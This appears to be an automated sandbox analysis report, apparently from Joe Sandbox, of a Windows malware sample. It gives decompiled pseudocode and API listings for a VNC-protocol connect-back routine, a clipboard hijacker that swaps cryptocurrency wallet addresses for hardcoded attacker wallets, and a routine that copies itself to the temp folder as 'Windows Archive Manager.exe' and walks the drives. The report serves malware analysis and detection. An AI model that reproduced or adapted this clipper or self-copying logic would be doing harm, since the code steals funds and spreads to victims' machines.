				void* _t295;
				short _t345;
				void* _t347;
				void* _t349;
				void* _t351;
				void* _t443;
				void* _t512;
				void* _t513;
				void* _t514;
				void* _t515;
				void* _t516;
				void* _t517;
				void* _t523;
				void* _t524;
				void* _t525;
				void* _t531;
				void* _t532;

				_t405 = __ecx;
				_v8 = _v8 & 0x00000000;
				_v12 = 1;
				while(1 != 0) {
					__imp__#23(2, 1, 0);
					_v64 = 1;
					if(_v64 == 0xffffffff) {
						__imp__#3(_v64);
						return 0;
					}
					__imp__#11(_a4);
					_v80 = 1;
					_t214 = 2;
					_v84 = _t214;
					__imp__#9(0x170c);
					_v82 = _t214;
					_t215 =  &_v84;
					__imp__#4(_v64, _t215, 0x10);
					_v16 = _t215;
					if(_v16 == 0xffffffff) {
						__imp__#3(_v64);
						return 0;
					}
					_t217 = E004016C7(_t405, _v64,  &_v56, 0xc);
					_t514 = _t513 + 0xc;
					if(_t217 == 0) {
						__imp__#3(_v64);
						return 0;
					}
					_v44 = 0;
					_t221 = sscanf( &_v56, "RFB %03d.%03d\n",  &_v24,  &_v20);
					_t515 = _t514 + 0x10;
					if(_t221 != 2) {
						__imp__#3(_v64);
						return 0;
					}
					if(_v24 == 3 && _v20 < 3) {
						__imp__#3(_v64);
						return 0;
					}
					if(_v24 != 3 || _v20 != 8 || _v12 == 0) {
						sprintf( &_v56, "RFB %03d.%03d\n", 3, 5);
						_t516 = _t515 + 0x10;
						_v12 = _v12 & 0x00000000;
					} else {
						sprintf( &_v56, "RFB %03d.%03d\n", 3, 8);
						_t516 = _t515 + 0x10;
					}
					_t225 = E00401670(_t405, _v64,  &_v56, 0xc);
					_t517 = _t516 + 0xc;
					if(_t225 == 0) {
						__imp__#3(_v64);
						return 0;
					}
					if(_v12 == 0) {
						_t227 = E004016C7(_t405, _v64,  &_v68, 4);
						_t513 = _t517 + 0xc;
						if(_t227 == 0) {
							__imp__#3(_v64);
							return 0;
						}
						_t405 = (_v68 & 0x000000ff) << 0x18;
						_v68 = (_v68 & 0xff000000) >> 0x00000018 | (_v68 & 0x00ff0000) >> 0x00000008 | (_v68 & 0x0000ff00) << 0x00000008 | (_v68 & 0x000000ff) << 0x00000018;
						_v436 = _v68;
						if(_v436 == 0) {
							__imp__#3(_v64);
							_v8 = _v8 + 1;
							if(_v8 == 2) {
								return 0;
							}
							Sleep(0x7d0);
						} else {
							if(_v436 == 1) {
								if(E00401670(_t405, _v64, 0x407508, 1) != 0 && E004016C7(_t405, _v64,  &_v136, 0x18) != 0) {
									_v136 = (_v136 & 0xff) << 0x00000008 | (_v136 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v134 = (_v134 & 0xff) << 0x00000008 | (_v134 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v128 = (_v128 & 0xff) << 0x00000008 | (_v128 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v126 = (_v126 & 0xff) << 0x00000008 | (_v126 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v124 = (_v124 & 0xff) << 0x00000008 | (_v124 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v116 = (_v116 & 0xff000000) >> 0x00000018 | (_v116 & 0x00ff0000) >> 0x00000008 | (_v116 & 0x0000ff00) << 0x00000008 | (_v116 & 0x000000ff) << 0x00000018;
									Sleep(0x3e8);
									E00401971(_v64);
									Sleep(0x7d0);
									E00401717(_v64, 0, 0, 1);
									Sleep(0x7d0);
									E00401971(_v64);
									Sleep(0x7d0);
									E00401717(_v64, 1, 0, 0);
									Sleep(0x7d0);
									E00401717(_v64, 0, 1, 0);
									Sleep(0x3e8);
								}
								__imp__#3(_v64);
								return 1;
							}
							if(_v436 != 2) {
								__imp__#3(_v64);
								return 0;
							}
							_t275 = E004016C7(_t405, _v64,  &_v40, 0x10);
							_t523 = _t513 + 0xc;
							if(_t275 == 0) {
								__imp__#3(_v64);
								return 0;
							}
							strncpy( &_v396, _a8, 0xff);
							_t524 = _t523 + 0xc;
							_v440 =  &_v396;
							_v444 = _v440 + 1;
							do {
								_v445 =  *_v440;
								_v440 = _v440 + 1;
							} while (_v445 != 0);
							_v452 = _v440 - _v444;
							 *((char*)(_t512 + _v452 - 0x188)) = 0;
							E004019E6( &_v404,  &_v396);
							E00401A68( &_v40,  &_v396);
							_pop(_t443);
							_t293 = E00401670(_t443, _v64,  &_v40, 0x10);
							_t525 = _t524 + 0xc;
							if(_t293 == 0) {
								__imp__#3(_v64);
								return 0;
							}
							_t295 = E004016C7(_t443, _v64,  &_v60, 4);
							_t513 = _t525 + 0xc;
							if(_t295 == 0) {
								__imp__#3(_v64);
								return 0;
							}
							_t405 = (_v60 & 0x000000ff) << 0x18;
							_v60 = (_v60 & 0xff000000) >> 0x00000018 | (_v60 & 0x00ff0000) >> 0x00000008 | (_v60 & 0x0000ff00) << 0x00000008 | (_v60 & 0x000000ff) << 0x00000018;
							_v456 = _v60;
							if(_v456 == 0) {
								if(E00401670(_t405, _v64, 0x40750c, 1) != 0 && E004016C7(_t405, _v64,  &_v428, 0x18) != 0) {
									_v428 = (_v428 & 0xff) << 0x00000008 | (_v428 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v426 = (_v426 & 0xff) << 0x00000008 | (_v426 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v420 = (_v420 & 0xff) << 0x00000008 | (_v420 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v418 = (_v418 & 0xff) << 0x00000008 | (_v418 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v416 = (_v416 & 0xff) << 0x00000008 | (_v416 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v408 = (_v408 & 0xff000000) >> 0x00000018 | (_v408 & 0x00ff0000) >> 0x00000008 | (_v408 & 0x0000ff00) << 0x00000008 | (_v408 & 0x000000ff) << 0x00000018;
									Sleep(0x3e8);
									E00401971(_v64);
									Sleep(0x7d0);
									E00401717(_v64, 0, 0, 1);
									Sleep(0x7d0);
									E00401971(_v64);
									Sleep(0x7d0);
									E00401717(_v64, 1, 0, 0);
									Sleep(0x7d0);
									E00401717(_v64, 0, 1, 0);
									Sleep(0x3e8);
								}
								__imp__#3(_v64);
								return 1;
							}
							if(_v456 != 1) {
								__imp__#3(_v64);
								return 0;
							}
							_v8 = _v8 & 0x00000000;
							__imp__#3(_v64);
							Sleep(0xbb8);
						}
					} else {
						_v12 = _v12 & 0x00000000;
						_t345 =  *0x407500; // 0x1
						_v88 = _t345;
						_t347 = E004016C7(_t405, _v64,  &_v68, 2);
						_t531 = _t517 + 0xc;
						if(_t347 == 0) {
							__imp__#3(_v64);
							return 0;
						}
						_t349 = E00401670(_t405, _v64,  &_v88, 1);
						_t532 = _t531 + 0xc;
						if(_t349 == 0) {
							__imp__#3(_v64);
							return 0;
						}
						_t351 = E004016C7(_t405, _v64,  &_v60, 4);
						_t513 = _t532 + 0xc;
						if(_t351 == 0) {
							__imp__#3(_v64);
						} else {
							_t405 = (_v60 & 0x000000ff) << 0x18;
							_v60 = (_v60 & 0xff000000) >> 0x00000018 | (_v60 & 0x00ff0000) >> 0x00000008 | (_v60 & 0x0000ff00) << 0x00000008 | (_v60 & 0x000000ff) << 0x00000018;
							_v432 = _v60;
							if(_v432 == 0) {
								if(E00401670(_t405, _v64, 0x407504, 1) != 0 && E004016C7(_t405, _v64,  &_v112, 0x18) != 0) {
									_v112 = (_v112 & 0xff) << 0x00000008 | (_v112 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v110 = (_v110 & 0xff) << 0x00000008 | (_v110 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v104 = (_v104 & 0xff) << 0x00000008 | (_v104 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v102 = (_v102 & 0xff) << 0x00000008 | (_v102 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v100 = (_v100 & 0xff) << 0x00000008 | (_v100 & 0x0000ffff) >> 0x00000008 & 0x000000ff;
									_v92 = (_v92 & 0xff000000) >> 0x00000018 | (_v92 & 0x00ff0000) >> 0x00000008 | (_v92 & 0x0000ff00) << 0x00000008 | (_v92 & 0x000000ff) << 0x00000018;
									Sleep(0x3e8);
									E00401971(_v64);
									Sleep(0x7d0);
									E00401717(_v64, 0, 0, 1);
									Sleep(0x7d0);
									E00401971(_v64);
									Sleep(0x7d0);
									E00401717(_v64, 1, 0, 0);
									Sleep(0x7d0);
									E00401717(_v64, 0, 1, 0);
									Sleep(0x3e8);
								}
								__imp__#3(_v64);
								return 1;
							}
							__imp__#3(_v64);
						}
						Sleep(0x1388);
					}
					if(_v64 != 0xffffffff) {
						__imp__#22(_v64, 2);
						__imp__#3(_v64);
						_v64 = _v64 | 0xffffffff;
					}
					Sleep(0x3e8);
				}
				return 1;
			}

0x00401b06
0x00401b0f
0x00401b13
0x00401b1a
0x00401b29
0x00401b2f
0x00401b36
0x00401b3b
0x00000000
0x00401b41
0x00401b4b
0x00401b51
0x00401b56
0x00401b57
0x00401b60
0x00401b66
0x00401b6c
0x00401b73
0x00401b79
0x00401b80
0x00401b85
0x00000000
0x00401b8b
0x00401b9b
0x00401ba0
0x00401ba5
0x00401baa
0x00000000
0x00401bb0
0x00401bb7
0x00401bcc
0x00401bd1
0x00401bd7
0x00401bdc
0x00000000
0x00401be2
0x00401bed
0x00401bf8
0x00000000
0x00401bfe
0x00401c09
0x00401c3b
0x00401c40
0x00401c43
0x00401c17
0x00401c24
0x00401c29
0x00401c29
0x00401c50
0x00401c55
0x00401c5a
0x00401c5f
0x00000000
0x00401c65
0x00401c70
0x00401f01
0x00401f06
0x00401f0b
0x00401f10
0x00000000
0x00401f16
0x00401f4d
0x00401f52
0x00401f58
0x00401f65
0x00401f85
0x00401f8f
0x00401f96
0x00000000
0x00401f98
0x00401fa4
0x00401f67
0x00401f6e
0x00401fc3
0x00402006
0x0040202e
0x00402050
0x0040206f
0x0040208e
0x004020c7
0x004020cf
0x004020d8
0x004020e3
0x004020f2
0x004020ff
0x00402108
0x00402113
0x00402122
0x0040212f
0x0040213e
0x0040214b
0x0040214b
0x00402154
0x00000000
0x0040215c
0x00401f77
0x004024c7
0x00000000
0x004024cd
0x0040216b
0x00402170
0x00402175
0x0040217a
0x00000000
0x00402180
0x00402196
0x0040219b
0x004021a4
0x004021b1
0x004021b7
0x004021bf
0x004021c5
0x004021cb
0x004021e0
0x004021ec
0x00402202
0x00402214
0x0040221a
0x00402224
0x00402229
0x0040222e
0x00402233
0x00000000
0x00402239
0x00402249
0x0040224e
0x00402253
0x00402258
0x00000000
0x0040225e
0x00402295
0x0040229a
0x004022a0
0x004022ad
0x004022d5
0x00402318
0x00402340
0x00402368
0x00402390
0x004023b8
0x00402400
0x0040240b
0x00402414
0x0040241f
0x0040242e
0x0040243b
0x00402444
0x0040244f
0x0040245e
0x0040246b
0x0040247a
0x00402487
0x00402487
0x00402490
0x00000000
0x00402498
0x004022b6
0x004024b8
0x00000000
0x004024be
0x0040249b
0x004024a2
0x004024ad
0x004024c2
0x00401c76
0x00401c76
0x00401c7a
0x00401c80
0x00401c8d
0x00401c92
0x00401c97
0x00401c9c
0x00000000
0x00401ca2
0x00401cb2
0x00401cb7
0x00401cbc
0x00401cc1
0x00000000
0x00401cc7
0x00401cd7
0x00401cdc
0x00401ce1
0x00401ee2
0x00401ce7
0x00401d17
0x00401d1c
0x00401d22
0x00401d2f
0x00401d4a
0x00401d84
0x00401da3
0x00401dc2
0x00401de1
0x00401e00
0x00401e39
0x00401e41
0x00401e4a
0x00401e55
0x00401e64
0x00401e71
0x00401e7a
0x00401e85
0x00401e94
0x00401ea1
0x00401eb0
0x00401ebd
0x00401ebd
0x00401ec6
0x00000000
0x00401ece
0x00401ed7
0x00401ed7
0x00401eed
0x00401eed
0x004024d5
0x004024dc
0x004024e5
0x004024eb
0x004024eb
0x004024f4
0x004024f4
0x00402500

APIs

socket.WS2_32(00000002,00000001,00000000), ref: 00401B29
closesocket.WS2_32(000000FF), ref: 00401B3B
inet_addr.WS2_32(00000001), ref: 00401B4B
htons.WS2_32(0000170C), ref: 00401B60
connect.WS2_32(000000FF,?,00000010), ref: 00401B73
closesocket.WS2_32(000000FF), ref: 00401B85

Part of subcall function 004016C7: recv.WS2_32(?,00000000,00000000,00000000), ref: 004016E5

closesocket.WS2_32(000000FF), ref: 00401BAA
sscanf.MSVCRT ref: 00401BCC
closesocket.WS2_32(000000FF), ref: 00401BDC
closesocket.WS2_32(000000FF), ref: 00401BF8
sprintf.MSVCRT ref: 00401C24
sprintf.MSVCRT ref: 00401C3B

Part of subcall function 00401670: send.WS2_32(?,00000000,00000000,00000000), ref: 0040169E

closesocket.WS2_32(000000FF), ref: 00401C5F
closesocket.WS2_32(000000FF), ref: 00401C9C
closesocket.WS2_32(000000FF), ref: 00401CC1
Sleep.KERNEL32(000003E8), ref: 00401E41
Sleep.KERNEL32(000007D0), ref: 00401E55
Sleep.KERNEL32(000007D0), ref: 00401E71
Sleep.KERNEL32(000007D0), ref: 00401E85
Sleep.KERNEL32(000007D0), ref: 00401EA1
Sleep.KERNEL32(000003E8), ref: 00401EBD
closesocket.WS2_32(000000FF), ref: 00401EC6
closesocket.WS2_32(000000FF), ref: 00401ED7
closesocket.WS2_32(000000FF), ref: 00401EE2
Sleep.KERNEL32(00001388), ref: 00401EED
closesocket.WS2_32(000000FF), ref: 00401F10
closesocket.WS2_32(000000FF), ref: 00401F85
Sleep.KERNEL32(000007D0), ref: 00401FA4
Sleep.KERNEL32(000003E8), ref: 004020CF
Sleep.KERNEL32(000003E8), ref: 0040240B

Part of subcall function 00401971: Sleep.KERNEL32(000001F4), ref: 004019AF
Part of subcall function 00401971: Sleep.KERNEL32(000001F4), ref: 004019CB

Sleep.KERNEL32(000007D0), ref: 004020E3
Sleep.KERNEL32(000007D0), ref: 0040241F

Part of subcall function 00401717: Sleep.KERNEL32(00000023), ref: 004017F6
Part of subcall function 00401717: Sleep.KERNEL32(00000023), ref: 0040189A
Part of subcall function 00401717: Sleep.KERNEL32(00000023), ref: 0040193E
Part of subcall function 00401717: Sleep.KERNEL32(000001F4), ref: 0040194E

Sleep.KERNEL32(000007D0), ref: 004020FF
Sleep.KERNEL32(000007D0), ref: 00402113
Sleep.KERNEL32(000007D0), ref: 0040212F
Sleep.KERNEL32(000003E8), ref: 0040214B
closesocket.WS2_32(000000FF), ref: 00402154
closesocket.WS2_32(000000FF), ref: 0040217A
strncpy.MSVCRT ref: 00402196
closesocket.WS2_32(000000FF), ref: 00402233
closesocket.WS2_32(000000FF), ref: 00402258
Sleep.KERNEL32(000007D0), ref: 0040243B
Sleep.KERNEL32(000007D0), ref: 0040244F
Sleep.KERNEL32(000007D0), ref: 0040246B
Sleep.KERNEL32(000003E8), ref: 00402487
closesocket.WS2_32(000000FF), ref: 00402490
closesocket.WS2_32(000000FF), ref: 004024A2
Sleep.KERNEL32(00000BB8), ref: 004024AD
closesocket.WS2_32(000000FF), ref: 004024B8
closesocket.WS2_32(000000FF), ref: 004024C7
shutdown.WS2_32(000000FF,00000002), ref: 004024DC
closesocket.WS2_32(000000FF), ref: 004024E5
Sleep.KERNEL32(000003E8), ref: 004024F4

Strings

RFB %03d.%03d, xrefs: 00401C32
RFB %03d.%03d, xrefs: 00401C1B
RFB %03d.%03d, xrefs: 00401BC3

Memory Dump Source

Source File: 00000001.00000002.324517495.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vnc.jbxd

Similarity

API ID: Sleep$closesocket$sprintf$connecthtonsinet_addrrecvsendshutdownsocketsscanfstrncpy
String ID: RFB %03d.%03d$RFB %03d.%03d$RFB %03d.%03d
API String ID: 392817388-2594149442
Opcode ID: 1b49c88c46710ddabfc7d32f871b4bce98c74f89ee943e2f6fddd1f12d16aa07
Instruction ID: e91506da21e7de93ef7d6e04e18f985382bf20e5135614ed1a251b89057a06e7
Opcode Fuzzy Hash: 1b49c88c46710ddabfc7d32f871b4bce98c74f89ee943e2f6fddd1f12d16aa07
Instruction Fuzzy Hash: CF42D231D14219ABEB289B90ED0ABFCBBB0EF05301F14407AF616F52E1DBB95950DB19

Uniqueness

Uniqueness Score: 100.00%

Function 004050C2, Relevance: 49.3, APIs: 10, Strings: 18, Instructions: 331
clipboardmemoryUNIQUE

C-Code - Quality: 97%

			E004050C2(char* _a4) {
				intOrPtr _v8;
				void* _v12;
				intOrPtr _v16;
				void* _v20;
				void* _v24;
				signed int _v28;
				intOrPtr* _v32;
				intOrPtr _v36;
				char _v37;
				intOrPtr _v44;
				intOrPtr* _v48;
				intOrPtr _v52;
				char _v53;
				intOrPtr _v60;
				char _t215;
				char _t220;

				_v20 = _v20 & 0x00000000;
				_v32 = _a4;
				_v36 = _v32 + 1;
				do {
					_v37 =  *_v32;
					_v32 = _v32 + 1;
				} while (_v37 != 0);
				_v44 = _v32 - _v36;
				_v8 = _v44;
				if( *_a4 == 0x31 ||  *_a4 == 0x33 ||  *_a4 == 0x42 ||  *_a4 == 0x32 ||  *_a4 == 0x58 ||  *_a4 == 0x44 ||  *_a4 == 0x45 ||  *_a4 == 0x30 ||  *_a4 == 0x4c ||  *_a4 == 0x34 ||  *_a4 == 0x50 ||  *_a4 == 0x41 ||  *_a4 == 0x52 ||  *_a4 == 0x72 ||  *_a4 == 0x74 ||  *_a4 == 0x7a ||  *_a4 == 0x47 ||  *_a4 == 0x55 ||  *_a4 == 0x45) {
					if( *_a4 == 0x34 ||  *_a4 == 0x32) {
						if(_v8 < 0x5a || _v8 > 0x73) {
							return 0;
						} else {
							goto L37;
						}
					} else {
						if( *_a4 == 0x47 ||  *_a4 == 0x55 ||  *_a4 == 0x45) {
							if(_v8 == 9) {
								goto L37;
							}
							return 0;
						} else {
							if(_v8 < 0x19 || _v8 > 0x2d) {
								return 0;
							} else {
								L37:
								_v28 = _v28 & 0x00000000;
								while(_v28 < _v8) {
									if( *((char*)(_a4 + _v28)) == 0x4f ||  *((char*)(_a4 + _v28)) == 0x49 ||  *((char*)(_a4 + _v28)) == 0x6c) {
										return 0;
									} else {
										_t215 =  *((char*)(_a4 + _v28));
										_push(_t215);
										L00401024();
										if(_t215 != 0) {
											L47:
											_v28 = _v28 + 1;
											continue;
										}
										_t220 =  *((char*)(_a4 + _v28));
										_push(_t220);
										L0040102A();
										if(_t220 != 0) {
											goto L47;
										}
										return 0;
									}
								}
								if( *_a4 == 0x31 ||  *_a4 == 0x33) {
									_v12 = "1DYwJZfyGy5DXaqXpgzuj8shRefxQ7jCEw";
								}
								if( *_a4 == 0x42) {
									_v12 = "BCedWttszcCs9uThQJBdJeEvi83vQgxrAa";
								}
								if( *_a4 == 0x32) {
									_v12 = "228Urw5BHKCiikBcGe37AYVNjJKA6xb4L9RepZ76KasQSSTg1DeertgFr6MNqj3PGR4PGXzCGYQw7UemxRoRxCC97qdga22";
								}
								if( *_a4 == 0x58) {
									_v12 = "XxZ274qGCfFyEi2HRS5G1215vEX331Mhc1";
								}
								if( *_a4 == 0x44) {
									_v12 = "D78VANgC5hQ3n4BSnon6aq6qnQSViyAmLv";
								}
								if( *_a4 == 0x45) {
									_v12 = "EZyjJj7M9gP6bnhw3q5N1gAMyQSVXNh533";
								}
								if( *_a4 == 0x30) {
									_v12 = "0xff0d45f3e2ec83de3b2e069300974732ba1c5d30";
								}
								if( *_a4 == 0x4c) {
									_v12 = "Lh8F5u2USRj779tQDy6LMYUM6dgPwH3qoP";
								}
								if( *_a4 == 0x34) {
									_v12 = "4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQrhbkDviv3H6fUaKia";
								}
								if( *_a4 == 0x50) {
									_v12 = "PWGChwvPpdCHyLmURsPgtYCAsqwDAzAsvZ";
								}
								if( *_a4 == 0x41) {
									_v12 = "AH2GAaJtWdQqsSJCS14tVUTKivzD7B67fP";
								}
								if( *_a4 == 0x52) {
									_v12 = "RaqJaa3iWaRkHvDkDcnfkhFJjSvzHLjuBk";
								}
								if( *_a4 == 0x72) {
									_v12 = "rL2zzcnUrDsqPfH6bmbGNG93QYQkDkJ6QV";
								}
								if( *_a4 == 0x74 ||  *_a4 == 0x7a) {
									_v12 = "t1MH943MSkvEcaXiDQJ4GQk9GPaSTkhDh4r";
								}
								if( *_a4 == 0x47 ||  *_a4 == 0x55 ||  *_a4 == 0x45) {
									if( *_a4 == 0x47) {
										_v12 = "G18431620";
									}
									if( *_a4 == 0x55) {
										_v12 = "U17032720";
									}
									if( *_a4 == 0x45) {
										_v12 = "E18406200";
									}
								}
								_v48 = _v12;
								_v52 = _v48 + 1;
								do {
									_v53 =  *_v48;
									_v48 = _v48 + 1;
								} while (_v53 != 0);
								_v60 = _v48 - _v52;
								_v16 = _v60;
								_v24 = GlobalAlloc(0x2002, _v16 + 1);
								_v20 = GlobalLock(_v24);
								memcpy(_v20, _v12, _v16 + 1);
								GlobalUnlock(_v24);
								if(OpenClipboard(0) != 0) {
									EmptyClipboard();
									SetClipboardData(1, _v24);
									CloseClipboard();
								}
								return 1;
							}
						}
					}
				} else {
					return 0;
				}
			}

0x004050c8
0x004050cf
0x004050d6
0x004050d9
0x004050de
0x004050e1
0x004050e4
0x004050f0
0x004050f6
0x00405102
0x004051fa
0x0040520b
0x00000000
0x0040521a
0x00000000
0x0040521a
0x0040521c
0x00405225
0x00405241
0x00000000
0x0040524a
0x00000000
0x0040524c
0x00405250
0x00000000
0x0040525f
0x0040525f
0x0040525f
0x0040526c
0x00405280
0x00000000
0x004052a5
0x004052ab
0x004052ae
0x004052af
0x004052b7
0x004052d4
0x00405269
0x00000000
0x00405269
0x004052bf
0x004052c2
0x004052c3
0x004052cb
0x00000000
0x00000000
0x00000000
0x004052cd
0x00405280
0x004052df
0x004052ec
0x004052ec
0x004052fc
0x004052fe
0x004052fe
0x0040530e
0x00405310
0x00405310
0x00405320
0x00405322
0x00405322
0x00405332
0x00405334
0x00405334
0x00405344
0x00405346
0x00405346
0x00405356
0x00405358
0x00405358
0x00405368
0x0040536a
0x0040536a
0x0040537a
0x0040537c
0x0040537c
0x0040538c
0x0040538e
0x0040538e
0x0040539e
0x004053a0
0x004053a0
0x004053b0
0x004053b2
0x004053b2
0x004053c2
0x004053c4
0x004053c4
0x004053d4
0x004053e1
0x004053e1
0x004053f1
0x00405412
0x00405414
0x00405414
0x00405424
0x00405426
0x00405426
0x00405436
0x00405438
0x00405438
0x00405436
0x00405442
0x00405449
0x0040544c
0x00405451
0x00405454
0x00405457
0x00405463
0x00405469
0x0040547c
0x00405488
0x00405496
0x004054a1
0x004054b1
0x004054b3
0x004054be
0x004054c4
0x004054c4
0x00000000
0x004054ca
0x00405250
0x00405225
0x004051ea
0x00000000
0x004051ea

APIs

isalpha.MSVCRT ref: 004052AF
isdigit.MSVCRT ref: 004052C3
GlobalAlloc.KERNEL32(00002002,?), ref: 00405476
GlobalLock.KERNEL32(?), ref: 00405482
memcpy.MSVCRT ref: 00405496
GlobalUnlock.KERNEL32(?), ref: 004054A1
OpenClipboard.USER32(00000000), ref: 004054A9
EmptyClipboard.USER32 ref: 004054B3
SetClipboardData.USER32(00000001,?), ref: 004054BE
CloseClipboard.USER32 ref: 004054C4

Strings

1DYwJZfyGy5DXaqXpgzuj8shRefxQ7jCEw, xrefs: 004052EC
RaqJaa3iWaRkHvDkDcnfkhFJjSvzHLjuBk, xrefs: 004053B2
4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQrhbkDviv3H6fUaKia, xrefs: 0040537C
E18406200, xrefs: 00405438
PWGChwvPpdCHyLmURsPgtYCAsqwDAzAsvZ, xrefs: 0040538E
0xff0d45f3e2ec83de3b2e069300974732ba1c5d30, xrefs: 00405358
EZyjJj7M9gP6bnhw3q5N1gAMyQSVXNh533, xrefs: 00405346
-, xrefs: 00405252
Lh8F5u2USRj779tQDy6LMYUM6dgPwH3qoP, xrefs: 0040536A
BCedWttszcCs9uThQJBdJeEvi83vQgxrAa, xrefs: 004052FE
rL2zzcnUrDsqPfH6bmbGNG93QYQkDkJ6QV, xrefs: 004053C4
D78VANgC5hQ3n4BSnon6aq6qnQSViyAmLv, xrefs: 00405334
XxZ274qGCfFyEi2HRS5G1215vEX331Mhc1, xrefs: 00405322
AH2GAaJtWdQqsSJCS14tVUTKivzD7B67fP, xrefs: 004053A0
U17032720, xrefs: 00405426
228Urw5BHKCiikBcGe37AYVNjJKA6xb4L9RepZ76KasQSSTg1DeertgFr6MNqj3PGR4PGXzCGYQw7UemxRoRxCC97qdga22, xrefs: 00405310
t1MH943MSkvEcaXiDQJ4GQk9GPaSTkhDh4r, xrefs: 004053E1
G18431620, xrefs: 00405414

Memory Dump Source

Source File: 00000001.00000002.324517495.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vnc.jbxd

Similarity

API ID: Clipboard$Global$AllocCloseDataEmptyLockOpenUnlockisalphaisdigitmemcpy
String ID: -$0xff0d45f3e2ec83de3b2e069300974732ba1c5d30$1DYwJZfyGy5DXaqXpgzuj8shRefxQ7jCEw$228Urw5BHKCiikBcGe37AYVNjJKA6xb4L9RepZ76KasQSSTg1DeertgFr6MNqj3PGR4PGXzCGYQw7UemxRoRxCC97qdga22$4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQrhbkDviv3H6fUaKia$AH2GAaJtWdQqsSJCS14tVUTKivzD7B67fP$BCedWttszcCs9uThQJBdJeEvi83vQgxrAa$D78VANgC5hQ3n4BSnon6aq6qnQSViyAmLv$E18406200$EZyjJj7M9gP6bnhw3q5N1gAMyQSVXNh533$G18431620$Lh8F5u2USRj779tQDy6LMYUM6dgPwH3qoP$PWGChwvPpdCHyLmURsPgtYCAsqwDAzAsvZ$RaqJaa3iWaRkHvDkDcnfkhFJjSvzHLjuBk$U17032720$XxZ274qGCfFyEi2HRS5G1215vEX331Mhc1$rL2zzcnUrDsqPfH6bmbGNG93QYQkDkJ6QV$t1MH943MSkvEcaXiDQJ4GQk9GPaSTkhDh4r
API String ID: 4022887902-2997840421
Opcode ID: f9934a91df13f813d7c7049ee5fc69d110606137f58445e56fafad3d7c288263
Instruction ID: f999a902f99b6b39ee7c4d1977c8b6ed79e0f7db9cfc5c91e5451ff0bfd56921
Opcode Fuzzy Hash: f9934a91df13f813d7c7049ee5fc69d110606137f58445e56fafad3d7c288263
Instruction Fuzzy Hash: DBD1A671A04A99AFCB11CB58C4D45AF7FB5AF02352F5444A6E894EF291C338DE82DF48

Uniqueness

Uniqueness Score: 100.00%

Function 0040599A, Relevance: 29.8, APIs: 15, Strings: 2, Instructions: 90
filethreadUNIQUE

C-Code - Quality: 85%

			E0040599A() {
				short _v524;
				WCHAR* _v528;
				short _v1052;
				short _v1260;
				void* _t42;
				void* _t43;

				memset( &_v1260, 0, 0xd0);
				memset( &_v524, 0, 0x208);
				memset( &_v1052, 0, 0x208);
				memset(0x40abd0, 0, 0x208);
				GetModuleFileNameW(0,  &_v524, 0x208);
				ExpandEnvironmentStringsW(L"%temp%",  &_v1052, 0x208);
				GetLogicalDriveStringsW(0xd0,  &_v1260);
				srand(GetTickCount());
				_push( &_v1052);
				_push(L"%ls\\Windows Archive Manager.exe");
				_push(0x208);
				_push(0x40abd0);
				L00401030();
				if(CopyFileW( &_v524, 0x40abd0, 0) == 0) {
					L9:
					ExitThread(0);
				} else {
					SetFileAttributesW(0x40abd0, 0x80);
					_v528 =  &_v1260;
					while(( *_v528 & 0x0000ffff) != 0) {
						if(GetDriveTypeW(_v528) == 3) {
							L6:
							if(SetCurrentDirectoryW(_v528) == 1) {
								E0040565A();
							}
							L8:
							_v528 =  &(_v528[4]);
							continue;
						}
						_t42 = 4;
						if(_t42 != 0) {
							goto L6;
						}
						_t43 = 2;
						if(_t43 == 0) {
							goto L8;
						}
						goto L6;
					}
					goto L9;
				}
			}

0x004059b1
0x004059c7
0x004059dd
0x004059f1
0x00405a07
0x00405a1e
0x00405a30
0x00405a3d
0x00405a49
0x00405a4a
0x00405a4f
0x00405a54
0x00405a59
0x00405a77
0x00405ae8
0x00405aea
0x00405a79
0x00405a83
0x00405a8f
0x00405a95
0x00405ab1
0x00405ac1
0x00405ad0
0x00405ad2
0x00405ad2
0x00405ad7
0x00405ae0
0x00000000
0x00405ae0
0x00405ab5
0x00405ab8
0x00000000
0x00000000
0x00405abc
0x00405abf
0x00000000
0x00000000
0x00000000
0x00405abf
0x00000000
0x00405a95

APIs

memset.MSVCRT ref: 004059B1
memset.MSVCRT ref: 004059C7
memset.MSVCRT ref: 004059DD
memset.MSVCRT ref: 004059F1
GetModuleFileNameW.KERNEL32(00000000,?,00000208), ref: 00405A07
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000208), ref: 00405A1E
GetLogicalDriveStringsW.KERNEL32(000000D0,?), ref: 00405A30
GetTickCount.KERNEL32 ref: 00405A36
srand.MSVCRT ref: 00405A3D
_snwprintf.MSVCRT ref: 00405A59
CopyFileW.KERNEL32(?,0040ABD0,00000000), ref: 00405A6F
SetFileAttributesW.KERNEL32(0040ABD0,00000080), ref: 00405A83
GetDriveTypeW.KERNEL32(?), ref: 00405AA8
SetCurrentDirectoryW.KERNEL32(?), ref: 00405AC7

Part of subcall function 0040565A: memset.MSVCRT ref: 00405675
Part of subcall function 0040565A: memset.MSVCRT ref: 0040568B
